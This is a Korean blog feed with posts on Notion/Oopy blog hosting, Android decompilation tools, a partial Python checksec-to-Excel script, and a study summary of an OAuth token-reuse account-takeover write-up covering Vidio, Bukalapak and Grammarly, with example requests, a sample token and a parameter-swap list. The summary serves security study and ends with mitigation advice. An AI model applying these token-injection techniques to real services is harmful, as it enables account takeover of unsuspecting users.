<p><a href="https://velog.io/@wisdom_lee/%EB%85%B8%EC%85%98-%EB%B8%94%EB%A1%9C%EA%B7%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-A-to-Z-Part-1-%EB%8F%84%EB%A9%94%EC%9D%B8-%EB%B0%9C%EA%B8%89%EB%B6%80%ED%84%B0-%EC%97%B0%EA%B2%B0%EA%B9%8C%EC%A7%80">노션 블로그 만들기 A to Z - Part 1 (도메인 발급부터 연결까지)</a> 포스팅에서 아래와 같이 블로그를 구축했었습니다.</p>
<ul>
<li>호스팅 케이알에서 도메인 발급</li>
<li>Cloudflare을 이용하여 도메인과 노션 페이지 연결</li>
</ul>
<p>하지만, Cloudflare의 Basic 플랜을 사용하다보니 생각보다 불편한 점이 많다는 것을 깨달았습니다.</p>
<ul>
<li>구글/네이버 검색 노출 어려움</li>
<li>유입 경로 확인 어려움</li>
<li>요청 횟수 제한으로 인해 유입량을 감당하기 어려움</li>
</ul>
<p>저와 비슷한 상황을 겪고 노션 블로그 → 깃허브 블로그로 옮긴 분도 계셨습니다. 왜 Part 1 작성 당시에는 이 글을 발견하지 못했는지 ☹️</p>
<blockquote>
<p><a href="https://www.cv-learn.com/20201124-Notion-blog-to-Github-blog/">https://www.cv-learn.com/20201124-Notion-blog-to-Github-blog/</a></p>
</blockquote>
<h2 id="oopy를-이용해보자">Oopy를 이용해보자!</h2>
<p>아무쪼록 결국 <code>우피(Oopy)</code> 라는 서비스를 이용하기로 했습니다. 구글/네이버 검색, 유입 경로 확인, 요청 횟수 제한 없음 등 기존에 고민하던 부분을 모두 해결할 수 있을 것 같아 바로 결제를 진행했습니다.</p>
<p>한 달 구독료는 5,900원(부가세 포함 6,490원)이며, 도메인 비용을 포함하더라도 월 10,000원 안쪽으로 해결 가능하기 때문에 부담 없는 수준입니다. 커피 한 번 안 사 먹으면 되는 비용이라 전혀 아깝지 않았어요.</p>
<h1 id="oopy-설정">Oopy 설정</h1>
<hr>
<h2 id="도메인-연결">도메인 연결</h2>
<p>우선 아래와 같이 기존 호스팅 설정을 해제하고, Oopy 콘솔을 통해 도메인을 다시 연결해 주어야 합니다.</p>
<aside>
💡 만약 별도로 구매한 도메인이 없는 경우, 도메인 설정을 별도로 하지 않아도 됨

</aside>

<ul>
<li><p>Cloudflare에서 기존 설정 삭제 (그냥 사이트 자체를 삭제해버리면 됨)</p>
</li>
<li><p>호스팅 케이알 네임 서버 복구 (Cloudflare 네임서버를 기존 네임서버로 변경)</p>
</li>
<li><p>호스팅 케이알 CNAME, A레코드 설정
<img src="https://velog.velcdn.com/images/wisdom_lee/post/efcead2e-ccf9-42f3-a28e-712541534e4f/image.png" alt=""></p>
</li>
<li><p>Oopy 콘솔에서 도메인 연결 + 리다이렉트 URL 설정    </p>
</li>
</ul>
<p>도메인 연결 이후 일정 시간이 지나면 <code>https://{도메인}</code> 또는 <code>https://www.{도메인}</code> 주소를 통해 노션 블로그 접속이 가능해집니다.</p>
<p>커스텀 도메인 설정은 우피 가이드에도 잘 나와 있습니다.</p>
<blockquote>
<p><a href="https://www.oopy.io/ko/guides/hostname-registration/custom">https://www.oopy.io/ko/guides/hostname-registration/custom</a></p>
</blockquote>
<h2 id="ui-설정">UI 설정</h2>
<p>이후 폰트, 데이터베이스 등을 커스터마이징 하여 블로그를 예쁘게 꾸며 주면 됩니다.</p>
<p>(UI 설정은 개인의 취향에 따라 다를 수 있기에.. 자세히 기재하지 않도록 하겠습니다.)</p>
<h2 id="추가-설정">추가 설정</h2>
<p>그리고 검색 엔진, 트래픽 분석, 광고, 댓글 등의 설정은 아래 가이드 문서를 참고하시어 진행해 주시면 되겠습니다. 이 정도만 설정해 주면, 그 외에 더 손 볼 부분은 없다고 보시면 됩니다. 🙂</p>
<ol>
<li><p><strong>검색 엔진</strong>: <a href="https://www.oopy.io/ko/guides/seo">https://www.oopy.io/ko/guides/seo</a>
 <img src="https://velog.velcdn.com/images/wisdom_lee/post/e28e1d63-91ef-4a20-b508-eed7a7c2f355/image.png" alt=""></p>
</li>
<li><p><strong>구글 애널리틱스</strong>(유입 경로 분석): <a href="https://www.oopy.io/ko/guides/plugins/ga">https://www.oopy.io/ko/guides/plugins/ga</a></p>
</li>
<li><p><strong>구글 애드센스</strong>(광고): <a href="https://www.oopy.io/ko/guides/plugins/google-adsense">https://www.oopy.io/ko/guides/plugins/google-adsense</a></p>
</li>
<li><p><strong>디스커스</strong>(댓글): <a href="https://www.oopy.io/ko/guides/plugins/disqus">https://www.oopy.io/ko/guides/plugins/disqus</a></p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[Abusing OAuth to take over millions of accounts]]></title>
            <link>https://velog.io/@wisdom_lee/Abusing-OAuth-to-take-over-millions-of-accounts</link>
            <guid>https://velog.io/@wisdom_lee/Abusing-OAuth-to-take-over-millions-of-accounts</guid>
            <pubDate>Fri, 27 Dec 2024 06:48:58 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📌원문: <a href="https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts">https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts</a> 포스팅을 보고 공부하면서 요약 작성한 글입니다.</p>
</blockquote>
<h1 id="개요">개요</h1>
<hr>
<p>OAuth 소개</p>
<ul>
<li>Open Authorization</li>
<li>2006년 처음 소개된 이후 AppSec 도메인에서 많이 사용되는 인증 프로토콜 중 하나가 되었다.</li>
<li>구현이 쉽지만 그 이면에는 매우 복잡한 기능들이 존재한다.</li>
<li>OAuth 프로토콜 자체는 올바르게 설계되어 있고 본질적으로 안전하나, 웹 서비스 플랫폼에 통합하는 과정에서 종종 문제가 발생한다.</li>
</ul>
<p>이 포스팅에서는 일반적인 OAuth 구현 문제를 설명한다. 소셜 로그인 메커니즘과 OAuth 구현에 대한 공격 기법을 소개한다. Grammarly, Vidio, Bukalapak 서비스에서 취약점을 시연한다.</p>
<p><strong>+) <a href="https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com?">첫 번째</a></strong> 및 <a href="https://salt.security/blog/a-new-oauth-vulnerability-that-may-impact-hundreds-of-online-services?&amp;"><strong>두 번째</strong></a> 블로그 게시물도 참고하면 좋을 것 같다.</p>
<h1 id="oauth-소개">OAuth 소개</h1>
<hr>
<h2 id="implicit-grant-type-예시">Implicit Grant Type 예시</h2>
<p>John 이라는 사용자가 Facebook 계정을 사용하여 Randomsite.com에 연결하려 한다고 가정한다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/428eed99-7279-428d-b270-6c775e05916b/image.png" alt=""></p>
<ol>
<li><p>Login with Facebook 클릭</p>
</li>
<li><p><a href="http://Randomsite.com">Randomsite.com</a> 에서는 페이스북 로그인 페이지로 리다이렉트</p>
<blockquote>
<p><a href="https://www.facebook.com/v3.0/dialog/oauth?**redirect_uri=https://randomsite.com/OAuth">https://www.facebook.com/v3.0/dialog/oauth?**redirect_uri=https://randomsite.com/OAuth</a>** &amp;scope=email&amp;client_id=1501&amp;state=[random_value]&amp;response_type=token.</p>
</blockquote>
</li>
<li><p>Facebook에서 로그인 및 계정 연결 동의</p>
</li>
<li><p>Facebook은 Randomsite.com에 대한 Secret 토큰을 반환하고 브라우저를 redirect_uri로 리다이렉션</p>
<blockquote>
<p><a href="https://randomsite.com/OAuth#token=%5Bsecret_token%5D%5D&amp;state=%5BRandom_Value%5D">https://randomsite.com/OAuth#token=[secret_token]]&amp;state=[Random_Value]</a></p>
</blockquote>
</li>
<li><p>Secret 토큰을 포함하여 Randomsite.com에 다시 접속하면 URL에서 토큰을 읽어 옴</p>
</li>
<li><p>5번 단계에서 획득한 토큰을 가지고 아래 API를 통해 Facebook과 통신 </p>
<blockquote>
<p><a href="https://graph.facebook.com/me?fields=id,name,email&amp;access_token=%5Bsecret_token%5D">https://graph.facebook.com/me?fields=id,name,email&amp;access_token=[secret_token]</a>.</p>
</blockquote>
</li>
<li><p>Facebook에서는 Secret 토큰의 소유자 정보를 반환해 줌</p>
</li>
</ol>
<p>Implicit Grant Type 외에 Explicit Grant Type도 존재하는데, 이는 Randomsite.com가 토큰 대신 코드를 받고 Facebook에 추가 요청을 보내 토큰을 받는 개념이라고 보면 된다.</p>
<h2 id="액세스-토큰-확인">액세스 토큰 확인</h2>
<p>위 6~7단계에서 서버가 토큰을 받으면 사용자의 신원을 확인하기 위해 Facebook에 API 요청을 보낸다.</p>
<p>이러한 방식은 안전하게 구현되어 있을까??</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/ad6827b6-3dc0-483a-9154-b3915711f0b8/image.png" alt=""></p>
<p>위 Facebook 문서를 보면, 토큰을 수신한 서버는 이를 검증해야 한다고 기재되어 있다.</p>
<p>요청을 보내기 전 액세스 토큰을 확인하는 것은 개발자의 책임인 셈이다.</p>
<h1 id="취약-사례">취약 사례</h1>
<hr>
<h2 id="vidio">Vidio</h2>
<h3 id="oauth-인증-구조">OAuth 인증 구조</h3>
<p>Vidio는 온라인 비디오 스트리밍 플랫폼이다. 영화, TV, 라이브 스포츠, 오리지널 프로덕션 등 다양한 콘텐츠를 제공한다. 이 플랫폼의 OAuth 흐름을 살펴보자. 이전에 살펴본 <a href="http://Randomsite.com">Randomsite.com</a> 예제와 거의 비슷하다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/e6967396-8449-4d89-9565-b0984f42c4a0/image.png" alt=""></p>
<p>위 예제에서 숫자 92356은 App ID이다. 애플리케이션이나 웹사이트가 developer.facebook.com에 등록되면 Facebook은 고유한 무작위 App ID를 할당해 준다.</p>
<p>OAuth 요청이 들어 왔을 때 Facebook은 App ID를 보고 어떤 앱이 요청을 했는지 식별한다. Vidio의 경우 92356 이다.</p>
<p>3단계에서 Facebook에 접속하면 Facebook은 Vidio.com에 대한 액세스 토큰을 생성해 준다. 액세스 토큰에는 사용자 정보(이메일)와 Vidio App ID 정보가 모두 포함되어 있다.</p>
<p>아무튼 Vidio.com이 사용자로부터 액세스 토큰을 받으면, <a href="https://graph.facebook.com/debug_token">com/debug_token</a> API를 통해 액세스 토큰이 App ID 92356에 실제로 생성되었는지를 확인해야 한다.</p>
<p>Facebook은 자동으로 인증을 수행해 주지 않고, 체크하는 것은 온전히 개발자의 몫이다.</p>
<p>그러나 <a href="http://Vidio.com">Vidio.com</a> 에서는 토큰을 따로 검증해주지 않고, 공격자가 다른 App ID 에서 생성된 액세스 토큰을 사용할 수 있게 된다.</p>
<h3 id="공격-시나리오">공격 시나리오</h3>
<p>공격자가 악성 웹사이트를 구축하고 이를 YourTimePlanner.com이라고 가정한다. 공격자는 이 사이트를 쇼핑몰이나 시간관리 앱 같은 합법적인 웹사이트로 위장 게시한다.</p>
<p>그리고 일반 사용자들이 이 웹사이트에 접근해서 로그인하기를 기다린다. 아마 대부분의 사람들은 새로운 웹사이트에 직접 가입하는 대신 소셜로그인 기능을 활용해 로그인 할 것이다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/f63ce647-5998-4259-8c9a-e70df46bf17d/image.png" alt=""></p>
<p>수천 명의 사람들이 가입했다고 가정하면, 공격자는 실제 사용자에 대한 수천 개의 액세스 토큰을 보유하게 된다. 물론 App ID는 YourTimePlanner의 App ID일 것이고, 예시 토큰을 살펴보면 다음과 같다.</p>
<pre><code class="language-xml">&quot;EAAut0eRcO1QBO9IrSS8xryMLF9wdSuGMGXiVbgJEsMjhLkqRhLYb0z1RcDJ9yw8RTvN0n5VTEfTazaifUYYVcovFutFG3GUP8feKftp4U7gXJaz0lY9wNttKZBqZAP8ZCszUHZAwN8o5iZ BKLSyF7UZAUsITmcs57EXDW44bEGdZBt6rQRkoeGMgtPghfgHrqefbIfBkdyLneTqPMZD&quot;</code></pre>
<p>Facebook 토큰 디버거를 사용하면 액세스 토큰에 대한 모든 정보를 확인할 수 있다.</p>
<ul>
<li>사용자: Dan Bro(<a href="mailto:moreisless3dan@gmail.com">moreisless3dan@gmail.com</a>)</li>
<li>App ID: TimePlanner(3287341734837076)</li>
</ul>
<p>위 토큰을 <a href="http://Vidio.com">Vidio.com</a>에 삽입하면 어떻게 될까? 실제로 계정 탈취가 가능해질 수 있다. 물론 Vidio.com에 계정이 있어야만 가능한 일이다. 최종적으로 아래와 같이 Dan Bro의 계정으로 로그인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/43238206-eb20-46d5-815b-58952e2b5569/image.png" alt=""></p>
<h2 id="bukalapak">Bukalapak</h2>
<h3 id="oauth-인증-구조-1">OAuth 인증 구조</h3>
<p>Bukalapak은 1억 5천만 명의 사용자를 보유한 인도네시아에서 가장 크고 유명한 전자상거래 플랫폼 중 하나이다.  이러한 전자상거래 플랫폼에서 계정 탈취 취약점이 존재하는 경우 큰 문제가 될 수 있다.</p>
<p>Bukalapak의 OAuth 인증 구조는 위 Vidio와 거의 동일하다.</p>
<p>Bukalapak의 /fb_login 엔드포인트는 액세스 토큰을 매개변수로 받고, 자격 증명을 반환해 준다. 그런데 여기서 액세스 토큰의 유효성을 검증하지 않으므로, 다른 웹사이트에서 발급된 토큰을 삽입하여 타 사용자의 권한을 탈취할 수 있게 된다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/7b2662d8-70b3-4c77-9516-1de289c906c3/image.png" alt=""></p>
<h2 id="grammarly">Grammarly</h2>
<h3 id="oauth-인증-구조-2">OAuth 인증 구조</h3>
<p>Grammarly는 문법, 구두점, 철자 검사 등 다양한 기능을 제공해 주는 AI 기반 글쓰기 도구이다. 이 서비스의 경우 사용자가 작성한 문서를 계정 내에 직접 저장하고 있어, 계정 탈취 시 Victim이 작성한 문서에 액세스 할 수 있게 된다.</p>
<p>Grammarly에서의 OAuth 인증 플로우는 다음과 같다.
<img src="https://velog.velcdn.com/images/wisdom_lee/post/4cec7fe7-55f2-4908-9fca-0fcdc79fc6ed/image.png" alt=""></p>
<ol>
<li>Sign in with Facebook</li>
<li>Facebook 리다이렉션 URL 반환</li>
<li>Facebook으로 리다이렉션</li>
<li>Secret 코드를 포함한 Grammarly 리다이렉션 URL 반환</li>
<li>auth.grammarly.com에 POST로 code 값 전송</li>
<li>해당 code 값을 기반으로 사용자를 인증하고 자격 증명을 반환 (코드를 토큰으로 교환)</li>
</ol>
<p>OAuth에서는 토큰과 코드라는 두 가지 유형의 데이터타입을 지원해 준다. Vidio와 Bukalapak에서는 토큰을 사용했고 토큰 재사용 공격에 취약했었다.</p>
<p>Grammarly 같이 코드를 사용하는 경우, 서버는 이를 토큰으로 교환해야 하고, 이 때 App ID에 대한 유효성 검사를 수행하게 된다. 그렇다면 어떻게 계정을 탈취할 수 있을까?</p>
<p>Grammarly에서 최종적으로“facebook_login”: {”code”: “코드”} 와 같이 전송되는데, “code” 라는 키워드를 다른 것으로 바꿔보자.</p>
<ul>
<li>Token</li>
<li>facebookToken</li>
<li>FBToken</li>
<li>Ftoken</li>
<li>AccessToken</li>
<li>AccessSToken</li>
<li>TkTAccess-token</li>
<li>Access_tokenand</li>
<li>others...</li>
</ul>
<p>그 중 access_token이 실제로 동작했다고 한다.</p>
<p>TimePlanner에서 획득한 Dan의 토큰을 access_token 값으로 넣고 요청을 보내면 실제로 인증에 성공하는 것을 볼 수 있다. code 값을 쓰고 있어 토큰 재사용 공격에 취약하지 않을 것으로 보였으나, 파라미터 변조를 통해 임의의 토큰을 주입할 수 있었다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/4264589f-df90-400d-82bd-48d3e171a2d3/image.png" alt=""></p>
<h1 id="미티게이션">미티게이션</h1>
<hr>
<p>소셜 로그인을 지원하는 경우, 다른 사이트에서 발급 받은 토큰을 재사용할 수 없도록 유효성을 검증해야 한다. Facebook 뿐만 아니라 다양한 서비스에서 이러한 기능을 지원해 주는데, 프로바이더 자체에서 유효성을 검증해줄 순 없기 때문에, 직접 지침에 따라 구현해 주어야 한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[노션 블로그 만들기 A to Z - Part 1 (도메인 발급부터 연결까지)]]></title>
            <link>https://velog.io/@wisdom_lee/%EB%85%B8%EC%85%98-%EB%B8%94%EB%A1%9C%EA%B7%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-A-to-Z-Part-1-%EB%8F%84%EB%A9%94%EC%9D%B8-%EB%B0%9C%EA%B8%89%EB%B6%80%ED%84%B0-%EC%97%B0%EA%B2%B0%EA%B9%8C%EC%A7%80</link>
            <guid>https://velog.io/@wisdom_lee/%EB%85%B8%EC%85%98-%EB%B8%94%EB%A1%9C%EA%B7%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-A-to-Z-Part-1-%EB%8F%84%EB%A9%94%EC%9D%B8-%EB%B0%9C%EA%B8%89%EB%B6%80%ED%84%B0-%EC%97%B0%EA%B2%B0%EA%B9%8C%EC%A7%80</guid>
            <pubDate>Fri, 27 Dec 2024 06:14:08 GMT</pubDate>
            <description><![CDATA[<h2 id="노션-블로그를-만들게-된-계기">노션 블로그를 만들게 된 계기</h2>
<hr>
<p>다양한 블로그 플랫폼을 이용해 봤지만, 아래와 같은 단점들로 인해 결국 정착하지 못했고.. </p>
<ul>
<li><strong>네이버 블로그</strong>: 일상 블로그 용으론 적합하나, 기술 블로그 용으로 쓰기엔 애매</li>
<li><strong>티스토리</strong>: 커스터마이징 하기 귀찮아서 안 쓰게 됨</li>
<li><strong>Velog</strong>: 가장 직관적이고 작성하기 편한데 카테고리 분류가 안 됨</li>
</ul>
<p>Velog 보다 조금 더 편하고 직관적이고 귀찮지 않은 플랫폼이 뭐가 있을까 고민하다가 <strong>노션</strong> 블로그를 구축해 보기로 했습니다. 그럼 이제 본격적으로 노션 블로그를 만들기 위한 방법들을 리서치 해보겠습니다.</p>
<p>물론 지금은 매달 들어가는 oopy 구독료와 도메인 유지비가 아까워서 다시 velog로 돌아왔지만요..</p>
<h2 id="노션-블로그-만드는-방법">노션 블로그 만드는 방법</h2>
<hr>
<h3 id="1-노션-공유-기능">1. 노션 공유 기능</h3>
<p>노션에서 기본으로 제공되는 &lt;페이지 공유&gt; 기능을 이용하면 나름 블로그처럼 이용할 수 있습니다. 하지만 단점은 URL이 지저분하고 공유 페이지 목록을 관리하기 어렵다는 점이죠.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/31edce22-f140-44ca-b3f6-42f440b09e71/image.png" alt=""></p>
<h3 id="2-우피-oopy">2. 우피 (oopy)</h3>
<p>그 외 서드파티 중 가장 접근성 좋은 서비스는 <a href="http://oopy.io">oopy.io</a> 입니다. 실제로 개인 블로그나 포트폴리오 뿐만아니라 회사 홍보 차원에서도 우피를 많이 사용하고 있더라고요.</p>
<p>도메인, 라우팅 URL 등 커스터마이징 할 수 있는 요소도 많고 구글 애드센스 연동도 쉽게 할 수 있어서 가장 처음에 사용을 고려했던 서비스입니다.</p>
<p>다만 무료체험 기간 동안 이용해본 결과 저는 딱히 우피에서 제공되는 기능을 사용하지 않을 것 같아 잠시 보류해 두었습니다.</p>
<h3 id="3-도메인-직접-연결">3. 도메인 직접 연결</h3>
<p>그래서 도메인 구입 후 노션과 직접 연결해 블로그 환경을 구축해보기로 했습니다. 😎 도메인 연결 과정이 번거롭긴 하지만 1번과 2번의 아쉬운 점을 단번에 해결할 수 있는 효율적인 방법이에요.</p>
<h2 id="도메인-발급">도메인 발급</h2>
<hr>
<p>저는 <a href="http://hosting.kr">hosting.kr</a> 에서 도메인을 발급했습니다. *.xyz 도메인을 이벤트 가격으로 저렴하게 구매할 수 있어서 좋았어요. 1년에 2,750원이라 벌써 뽕 뽑은 느낌 🙂</p>
<p>그리고 만약 학생이신 분들은 <a href="https://education.github.com/pack">Github Student Developer Pack</a> 에 가입해서 무료로 *.me 도메인을 발급 받으실 수 있다고 하니 참고 하시기 바랍니다.</p>
<h2 id="도메인-연결">도메인 연결</h2>
<hr>
<h3 id="1-cloudflare-가입">1. Cloudflare 가입</h3>
<p>이메일과 비밀번호만 입력하면 바로 가입할 수 있습니다. 이메일 인증도 gogo ~</p>
<h3 id="2-사이트-생성">2. 사이트 생성</h3>
<p>그 다음 이전 단계에서 발급해 둔 도메인 주소를 입력하여 사이트를 추가해 주세요.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/4580a634-977c-4ad8-a849-3b2c5a9ff623/image.png" alt=""></p>
<h3 id="3-nameserver-변경">3. Nameserver 변경</h3>
<p>이제 Cloudflare를 거쳐서 노션으로 라우팅 되도록 설정해줄 차례입니다. 기존 호스팅 서비스의 네임 서버를 Cloudflared의 네임 서버로 변경해 줍니다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/abc23a25-d555-4c2b-9f62-9863939032e1/image.png" alt=""></p>
<h3 id="4-보안-설정">4. 보안 설정</h3>
<p>그리고 SSL/TLS 및 HTTPS 등 Cloudflare의 가이드에 따라 적절히 설정을 해 주시면 되고요.</p>
<h3 id="5-workers-설정">5. Workers 설정</h3>
<p>마지막으로 Workers 설정이 남아 있습니다. Workers는 도메인에 접속 했을 때 실행할 자바스크립트를 설정하는 메뉴라고 보시면 됩니다. (도메인 → 노션으로 라우팅 하기 위한 설정)</p>
<p><a href="https://www.notion.so/Fruition-Free-Open-Source-Toolkit-for-Building-Websites-with-Notion-771ef38657244c27b9389734a9cbff44?pvs=21">Fruition: Free, Open Source Toolkit for Building Websites with Notion</a> </p>
<p>위 페이지에 도메인과 노션 URL을 입력할 수 있는 Form이 존재하는데, 입력 후 “Copy the Code” 버튼을 누르면 Workers 코드가 뚝딱 완성됩니다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/1288d43c-5b93-4a3c-9806-02f94b8d786b/image.png" alt=""></p>
<p>최종적으로 Workers 메뉴에서 응용 프로그램 생성 후 → 복사한 코드를 붙여 넣고 → 도메인 룰을 지정해 주면, 우리가 지정한 도메인에 접속 했을 때 해당 코드가 실행될 것입니다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/df5224ef-9ff5-4d7c-b16f-3d12c2d7fe96/image.png" alt=""></p>
<h3 id="6-mismatch-between-origin-and-baseurl-에러-해결">6. Mismatch between origin and baseUrl 에러 해결</h3>
<p>그러나 이렇게 설정하고 도메인에 접속했을 때 <em>Mismatch between origin and baseUrl</em> 오류가 발생하는 경우도 존재합니다. 저는 이 오류 때문에 삽질을 꽤 했었습니다. 🥲</p>
<p>원인만 설명 드리자면, 노션에서 도메인을 별도로 설정한 이력이 있는 경우 도메인이 맞지 않아 발생한 케이스였습니다.</p>
<p>따라서 Workers 소스코드에서 “<a href="http://www.notion.so%E2%80%9D">www.notion.so”</a> 로 되어 있는 부분을 내 노션 도메인(~.notion.site)으로 바꿔 주어야 합니다.</p>
<p><img src="blob:https://velog.io/d6596ff2-34db-490d-bbc3-3d24b97c5f75" alt="업로드중.."></p>
<h2 id="완료">완료</h2>
<hr>
<p>모든 설정이 끝난 뒤 도메인으로 접속했을 때 노션 페이지가 표출되는 것을 확인할 수 있었습니다.</p>
<h2 id="ref">Ref</h2>
<hr>
<ul>
<li><a href="https://www.oopy.io/">https://www.oopy.io/</a></li>
<li><a href="https://www.notion.so/Fruition-Free-Open-Source-Toolkit-for-Building-Websites-with-Notion-771ef38657244c27b9389734a9cbff44?pvs=21">Fruition: Free, Open Source Toolkit for Building Websites with Notion</a></li>
<li><a href="https://next.over.ist/fruitionsite-with-cloudflare-workers-error-1034">https://next.over.ist/fruitionsite-with-cloudflare-workers-error-1034</a></li>
<li><a href="https://antennagom.com/m/1020">https://antennagom.com/m/1020</a></li>
<li><a href="https://github.com/stephenou/fruitionsite/issues/236">https://github.com/stephenou/fruitionsite/issues/236</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[안드로이드 모바일 앱 분석 환경 구축]]></title>
            <link>https://velog.io/@wisdom_lee/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EB%AA%A8%EB%B0%94%EC%9D%BC-%EC%95%B1-%EB%B6%84%EC%84%9D-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%B6%95</link>
            <guid>https://velog.io/@wisdom_lee/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EB%AA%A8%EB%B0%94%EC%9D%BC-%EC%95%B1-%EB%B6%84%EC%84%9D-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%B6%95</guid>
            <pubDate>Wed, 05 Oct 2022 06:15:58 GMT</pubDate>
            <description><![CDATA[<h2 id="java">Java</h2>
<h3 id="apktool">apktool</h3>
<p>apk 파일로부터 dex 파일을 추출한다.</p>
<p><a href="https://ibotpeaches.github.io/Apktool/install/">Apktool - How to Install</a></p>
<p>자바 설치 : <code>sudo apt install default-jdk</code></p>
<h3 id="dex2jar">dex2jar</h3>
<p>dex 파일로부터 jar 파일을 추출한다.</p>
<p><a href="https://sourceforge.net/projects/dex2jar/">dex2jar</a></p>
<p>설치 후 alias 설정 : <code>alias dex2jar=’/home/lee/tool/dex2jar-2.0/d2j-dex2jar.sh’</code></p>
<h3 id="jd_gui">jd_gui</h3>
<p>jar 파일을 java 소스코드로 보여준다.</p>
<p><a href="http://java-decompiler.github.io/">Java Decompiler</a></p>
<p>자바 설치 : <a href="https://java.com/ko/download/">https://java.com/ko/download/</a></p>
<blockquote>
<p>만약 dex2jar 실행시 <code>DexException not support version</code> 에러가 뜬다면 아래 글 참고
<a href="https://www.programmersought.com/article/6193889467/">https://www.programmersought.com/article/6193889467/</a></p>
</blockquote>
<h2 id="kotlin">Kotlin</h2>
<p>Android Studio IDE에 코틀린 디컴파일 기능이 존재한다고 한다.
<a href="https://developer.android.com/studio?hl=ko">Android Studio</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Python] Checksec 결과를 엑셀 테이블로 저장해보자]]></title>
            <link>https://velog.io/@wisdom_lee/Python-Checksec-%EA%B2%B0%EA%B3%BC%EB%A5%BC-%EC%97%91%EC%85%80-%ED%85%8C%EC%9D%B4%EB%B8%94%EB%A1%9C-%EC%A0%80%EC%9E%A5%ED%95%B4%EB%B3%B4%EC%9E%90</link>
            <guid>https://velog.io/@wisdom_lee/Python-Checksec-%EA%B2%B0%EA%B3%BC%EB%A5%BC-%EC%97%91%EC%85%80-%ED%85%8C%EC%9D%B4%EB%B8%94%EB%A1%9C-%EC%A0%80%EC%9E%A5%ED%95%B4%EB%B3%B4%EC%9E%90</guid>
            <pubDate>Wed, 05 Oct 2022 06:00:31 GMT</pubDate>
            <description><![CDATA[<p>최근 참 많은 일이 있었다. 퇴사 → 신사업 준비 → 취업 준비 .. 다사다난했지만 잠깐 쉬어가는 타이밍이라 생각하니 마음이 편안하다. 오히려 좋아!</p>
<p>딱히 조급한 마음도 없고, 내 자신에 대한 확신도 있고, 기쁜 일들도 많고, 그래서 요즘이 가장 행복한 시기인 것 같다. 그리고 좋은 사람들 덕분에 이런 저런 제안들도 많이 들어오고 있다. 감사한 일이다. 면접만 잘 본다면 올 하반기에 취업할 수 있을 것 같은데, 내가 하기 나름이니까 열심히 해봐야지.</p>
<p>주로 노션을 쓰다보니 Velog 관리를 소홀히 하게 된다. oopy로 노션 자체를 호스팅 해야 하나 싶기도 하고 .. 매번 포스팅을 옮기는 과정이 생각보다 귀찮아서 고민을 좀 해봐야겠다.</p>
<h2 id="challenge">Challenge</h2>
<p>보안 업무를 하다 보면, 가끔 바이너리 보호 기법을 리스팅해야 하는 일이 생기기도 한다. 그럴 때 주로 사용하는 도구가 <code>checksec</code>이며, PIE, RELRO, Canaries, ASLR, Fortify Source의 활성화 여부를 확인해주는 bash 스크립트이다. 나는 CTF 플레이어가 아니지만, CTF 할 때 가장 많이 사용하는 듯하다.</p>
<p>아무쪼록 다음과 같은 <code>checksec</code> 수행 결과를 엑셀 테이블로 변환하여 저장하는 코드를 작성해 보자.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/84552bc6-f442-4a63-80a3-07ea96802e67/image.png" alt=""></p>
<h2 id="install">Install</h2>
<pre><code class="language-bash">$ pip install openpyxl # python
$ pip3 install openpyxl # python3</code></pre>
<p>openpyxl 패키지는 엑셀 작업을 수행할 수 있도록 도와주는 파이썬 패키지이다.</p>
<h2 id="solution">Solution</h2>
<p><code>Canary</code>와 <code>PIE</code>가 없는 것만을 파싱하여 기재하고, 나머지는 -로 표기할 것이다. 해당 코드를 실행하기 전에 <code>checksec</code> 수행 결과를 <code>log.txt</code>라는 파일로 저장해 놓아야 한다.</p>
<pre><code class="language-python">import openpyxl
import re

class Excel:
    def __init__(self):
        self.workbook = openpyxl.Workbook()
        self.sheet = self.workbook.active
        self.initialize()

    def initialize(self):
        self.row = 2

        title_list = [&#39;No.&#39;, &#39;FILENAME&#39;, &#39;RELRO&#39;, &#39;STACK CANARY&#39;, &#39;NX&#39;, &#39;PIE&#39;, &#39;RPATH&#39;, &#39;RUNPATH&#39;]
        ascii_list = [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;, &#39;F&#39;, &#39;G&#39;, &#39;H&#39;]
        index = 1

        for title in title_list:
            self.sheet.cell(row = 1, column = index).value = title
            index = index + 1

        for ascii in ascii_list:
            if ascii == &#39;B&#39;:
                width = 40
            elif ascii == &#39;A&#39;:
                width = 5
            else:
                width = 20
            self.sheet.column_dimensions[ascii].width = width

    def parse(self):
        f = open(&#39;log.txt&#39;, &#39;r&#39;)
        data = f.read()
        data_split = data.split(&#39;\n&#39;)[1::2]
        return data_split

    def write(self, filename, flag):
        if flag[&#39;Canary&#39;] and flag[&#39;PIE&#39;]:
            return

        self.sheet.cell(row = self.row, column = 2).value = filename

        if not flag[&#39;Canary&#39;]:
